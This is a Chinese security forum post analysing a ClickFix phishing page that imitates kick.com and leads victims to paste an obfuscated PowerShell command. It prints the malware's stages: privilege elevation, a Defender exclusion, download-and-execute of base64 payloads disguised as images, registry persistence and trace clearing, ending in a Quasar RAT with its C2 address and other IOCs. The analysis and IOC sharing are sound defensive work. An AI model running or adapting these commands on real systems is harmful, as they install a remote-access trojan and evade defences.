一个Clickfix钓鱼网址行为分析

2025-01-16 21:31:52 0 398 1


一、攻击主要特征
模拟如 Google Meet 或 reCaptcha 等常用服务,诱导用户执行一系列操作,从而实现恶意代码的传播和执行。
IOC:https://kick[.]com[.]im/
模仿国外知名网站直播网站kick.com(类TWICH)。


验证码处提示用户:


1. 攻击者设计的钓鱼页面,页面伪装成合法的服务界面。页面弹出虚假的验证码窗口。受害者点击该按钮时,触发页面内置的恶意 JavaScript 代码。代码为一段经过构造的 payload。
2. 引导受害者使用 Win + R +cmd 。
3. 页面会指示受害者按下 Ctrl + V  。将之前复制的 payload 粘贴到CMD对话框中。
4. 受害者按下 Enter 键,这先前粘贴到“运行”对话框中的 payload 触发执行。 payload 是经过混淆的 PowerShell 命令,命令负责从服务器下载恶意脚本,并在系统中执行。此步骤关键,PowerShell 命令将发挥作用。
查看网页源码发现:

二、溯源分析

解码后:

解析:
-k     忽略SSL证书验证错误。
-Ss  -S出错时显示错误信息。  -s 静默模式。
静默式启用CMD下载并执行下面脚本:

1.cmd  (https://hcaptcha[.]ru/r)
解析:
powershell -w h -command ""
隐藏式启动powershell
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo Verifying press Yes...
    PowerShell -Command "Start-Process -Verb RunAs -FilePath '%0'"
    exit /b
)
net session >nul 2>&1:运行net session命令,该命令只有在以管理员权限运行时才会成功。将输出和错误重定向到nul(丢弃)。
if %errorLevel% neq 0:net session的退出代码不为0,表示当前没有管理员权限。若没有管理员权限:
1.echo Verifying press Yes...:需要提升权限。
2.PowerShell -Command "Start-Process -Verb RunAs -FilePath '%0'":使用PowerShell的Start-Process命令以管理员权限重新运行当前脚本(%0表示当前脚本的路径)。
3.exit /b:退出当前脚本。

base片段1:
powershell.exe -command "Add-MpPreference -ExclusionPath 'C:\'
将C:\路径添加到Windows Defender的排除路径。

base片段2:
$url = "https://i[.]imgur[.]com/files/ZhM6581KRA.jpg"
$path = "$env:APPDATA\OneDrive"
New-Item -ItemType Directory -Path $path -Force | Out-Null
Invoke-WebRequest -Uri $url -OutFile "$path\file.jpg"
$content = Get-Content "$path\file.jpg" -Raw
[IO.File]::WriteAllText("$path\CALR7LSn2MF3DvujZW9zDpWcZQSdYGeCpTAkcqMxBq.cmd", [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($content)))
Start-Process "$path\CALR7LSn2MF3DvujZW9zDpWcZQSdYGeCpTAkcqMxBq.cmd"
$url = "https://i[.]imgur[.]com/files/ZhM6581KRA.jpg":定义变量 $url,存储目标文件的 URL 地址。

$path = "$env:APPDATA\OneDrive":变量 $path,表示目标文件保存的目录路径。使用环境变量 $env:APPDATA,指向当前用户的应用程序数据目录(如 C:\Users\<用户名>\AppData\Roaming)。在此目录下创建子目录 OneDrive,用于存储下载的文件。

New-Item -ItemType Directory -Path $path -Force | Out-Null:创建 $path 指定的目录(OneDrive)。
-Force   如果目录已存在,不报错。
Out-Null 抑制输出信息。

Invoke-WebRequest -Uri $url -OutFile "$path\file.jpg":
Invoke-WebRequest 下载 $url 指定的文件。
将下载的文件保存为 $path\file.jpg。

$content = Get-Content "$path\file.jpg" -Raw:读取下载的文件,存储在 $content 变量中。
-Raw:将整个文件内容读取为单个字符串,而不是逐行读取。

[IO.File]::WriteAllText("$path\CALR7LSn2MF3DvujZW9zDpWcZQSdYGeCpTAkcqMxBq.cmd", [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($content))):
将 $content(文件内容)视为 Base64 编码字符串。
使用 [Convert]::FromBase64String($content) 解码。将解码后的内容写入文件。

$path\CALR7LSn2MF3DvujZW9zDpWcZQSdYGeCpTAkcqMxBq.cmd:写死路径。

Start-Process "$path\CALR7LSn2MF3DvujZW9zDpWcZQSdYGeCpTAkcqMxBq.cmd": Start-Process 执行生成的 .cmd 文件。

ZhM6581KRA.jpg

base片段1:
$url = "https://i[.]imgur[.]com/files/ytA6849TXs.jpg"
$path = "$env:APPDATA\OneDrive"
mkdir $path -Force | Out-Null
$b64File = "$path\OneDrive.jpg"
$exeFile = "$path\OneDrive.exe"
iwr $url -OutFile $b64File
[IO.File]::WriteAllBytes($exeFile, [Convert]::FromBase64String((gc $b64File -Raw)))
Start-Process $exeFile
·  下载文件并保存为 Base64 格式(OneDrive.jpg)。
·  解码文件为 .exe 可执行文件(OneDrive.exe)。
·  执行解码后的文件。

base片段2:
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name * -ErrorAction SilentlyContinue
·  清理注册表中 RunMRU(最近运行的命令)记录。
·  清除痕迹,隐藏用户执行该脚本的记录。

base片段3:
Set-Clipboard -Value " "
·  清空剪贴板。
·  可能用于隐藏已复制的数据。

base片段4:
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDrive" -Value "$($env:APPDATA)\OneDrive\OneDrive.exe"
·  将下载的可执行文件添加到启动项(Run)。
·  确保恶意程序在系统重启后继续运行。
ytA6849TXs.jpg

分析思路:
ytA6849TXs.jpg 图片内容为base64 编码后的数据,解码后保存。

C# .Net 的程序,打开 DnSpy 进行分析。根据混淆及入口提示为Quasar的Client。

第一步将混淆去除,使用 NETReactorSlayer :

解混淆后,方便观察。

Main 函数:

窗口类class GForm()-> OnLoad() 函数。

GForm().method_1():

GClass65.smethod_0():

class Class28:解析

密钥派生函数System.Security.Cryptography.Rfc2898DeriveBytes(PBKDF2)(Password-Based Key Derivation Function 2)。从masterKey及 Class28.byte_2 (盐值)派生密钥 byte_0 及 byte_1。

先通过method_3 进行AES 解密,再通过method_3 BASE64 编码:

将断点下到 GClass65.smethod_0() 对外联IP 及端口进行解密,解密内容包括一些证书信息

RAT版本信息,1.4.1,客户端唯一标识, 文件路径名 SubDir,日志文件路径名 wawa ,外联IP及端口:154.216.20.177:3671。
设置下载文件存储路径及日志路径,可知:
C:\Users\User\AppData\Roaming\wawa
C:\Users\User\AppData\Roaming\SubDir\Client.exe
应急排查时根据此路径及客户端名称进行判断。
从上面分析的过程上看,样本并未变种(密钥及salt值未改变),已获取到溯源需要的IP地址。依旧是Quasar 客户端生成的,后续客户端行为就不需要分析了。

三、总结
诱导用户输入指令,后续脚本自动化执行。后续攻击载荷达到远控效果。
四、IOC
https://kick[.]com[.]im
https://hcaptcha[.]ru
https://i[.]imgur[.]com
154[.]216[.]20[.]177:3671
E116661977007C86DD1876393D7E6237
809F6BFA46A3D7AFEE3017E2CE4BF08B
12D41218490261E1C84B4396D531EBE0
钓鱼样本附件密码T00ls,仅供分析使用
五、参考资料
mp.weixin.qq.com/s/TqusaFDQ24O9xE3e4AXzoQ
xz.aliyun.com/t/14073?time__1311=GqAxuDRD0D9D2GDlE%2Bt0%3DKKY5axkn7feD



自评TCV:2

关于作者

Haisenberg0x171篇文章3篇回复

评论0次

要评论?请先  登录  或  注册